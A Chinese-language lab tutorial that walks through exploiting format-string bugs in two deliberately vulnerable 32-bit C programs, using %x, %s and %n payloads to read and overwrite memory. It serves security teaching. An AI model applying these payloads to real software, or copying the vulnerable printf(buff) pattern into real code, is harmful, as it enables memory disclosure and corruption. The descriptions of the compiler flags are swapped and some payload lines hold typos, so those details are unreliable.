一、环境准备

操作系统:linux-x64
编译器:gcc
执行文件编译为:32位
安装编译32位的适配库:

sudo apt-get install gcc-multilib g++-multilib module-assistant

有可能在下载 g++-multilib时报错,直接下载 g++ 就行

如下可以编译出32位的文件

2022-04-22 223550.png

二、内存读取

代码:formatstring-str.c文件

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char*  global_str = "You pwn it!\n";

int main(int argc, char* argv[])
{
        char buff[128];

        printf("Address of global_str = %p \n", global_str);

        if( argc < 2 ){
                printf("Usage: %s <string> \n", argv[0]);
                return -1;
        }

        strcpy(buff, argv[1]);
        printf(buff);           //exploitation
        printf("\n");

        return 0;
}

目标:实现输出 global_str字符串内容

思路:
通过输入:AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
找到AAAA所在栈位置,即buff位置
在buff首地址里写入 global_str字符串地址
用%s读取buff首地址里的数据(即读取glbal_str内容)

编译代码:

gcc -g -m32 -fno-stack-protector -no-pie  formatstring-str.c

-m32                               编译成32位可执行文件
-no-pie                            关闭栈空间保护
-fno-stack-protector        关闭地址随机装载

执行后如图:

2022-04-22 230006.png

输入:

./a.out AAAA%08x%08x%08x%08x%08x%08x%08x%08x

%08x:占位符:08表示输出8个字符      x表示以16进制输出

2022-04-22 230501.png

可以看到输出数据中的   41414141(十六进制)即 AAAA
说明在从41414141开始后面的数据就是我们输入的数据即buff内容

为了方便我们查看输出数据可以在输入数据的占位符之间加分隔符

./a.out AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x 

2022-04-22 231650.png

可以清楚的看到输出数据中 41414141在第4个占位符上

则可以推出在掉用printf()函数时栈帧图为:

2022-04-22 234043.png

在调用printf()时只是将buff的首地址入栈

可以用如下数据验证:

2022-04-22 234443.png

第一给占位符为%s,printf("%s",地址);%s对应的参数是一个地址,从输出数据看打印出来了buff数据,则上面的%s对应的数据就是buff的首地址

从上面的栈帧图可以看到buff地址为ESP+4,我们也可以用%4$08x直接打印栈上的四个参数,注意在64位程序中前六个参数是放在寄存器中的,第7个才开始方栈中。

注意在linux命令行要用将$转义

2022-04-22 235727.png

现在我们只要向buff里写入global_stre的地址并用%s去读就能读出global_str的内容

2022-04-23 000350.png

可以看到我们成功写入了0804a008

我们用%s来读取

2022-04-23 000551.png

可以看到我们成功读出了global_str内容,实现了内存读取

三、内存写入

代码:formatstring.c文件

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int secrets[3]={0x222324,0x44,0x55};

int main(int argc, char* argv[])
{
        char  buff[512];

        printf("Address of secret = 0x%08X \n", secrets);
        if( argc < 2 ){
                printf("Usage: %s <string> \n", argv[0]);
                return -1;
        }
        strcpy(buff, argv[1]);

        printf("Exploitation way: \n");
        printf(buff);
        printf("\n\n");

        //right way to print
        printf("Right way: %s\n",buff);
        printf("secret[0] = 0x%0X , secret[1] = 0x%0X, secrets[2] = 0x%0X \n", secrets[0], secrets[1], secrets[2]);

        return 0;
}

编译同上:

gcc -g -m32 -fno-stack-protector -no-pie  formatstring.c  

输入payload:

AAAA-%08x-%08x-%08x-%08x-%08x-%08x

2022-04-23 003934.png

看到buff还是在第四个参数上

写入secret的三个元素地址到buff的前14个字节里

$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")%4\&08x%5\$08x%6\$08x

2022-04-23 004852.png

可以看到成功写入secret的三个地址

下一步就用%n写入数据到secret

$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")%4\&nx%5\$n%6\$n

2022-04-23 005304.png

可以看到secret的三个元素都被改为了0xC即12,因为前面输入了三个地址总共12个字节。

关于%n的扩展

%hn 一次性写入2个字节
%hhn 一次性写入1个字节
%n 一次性写入4个字节
%lln 一次性写入8字节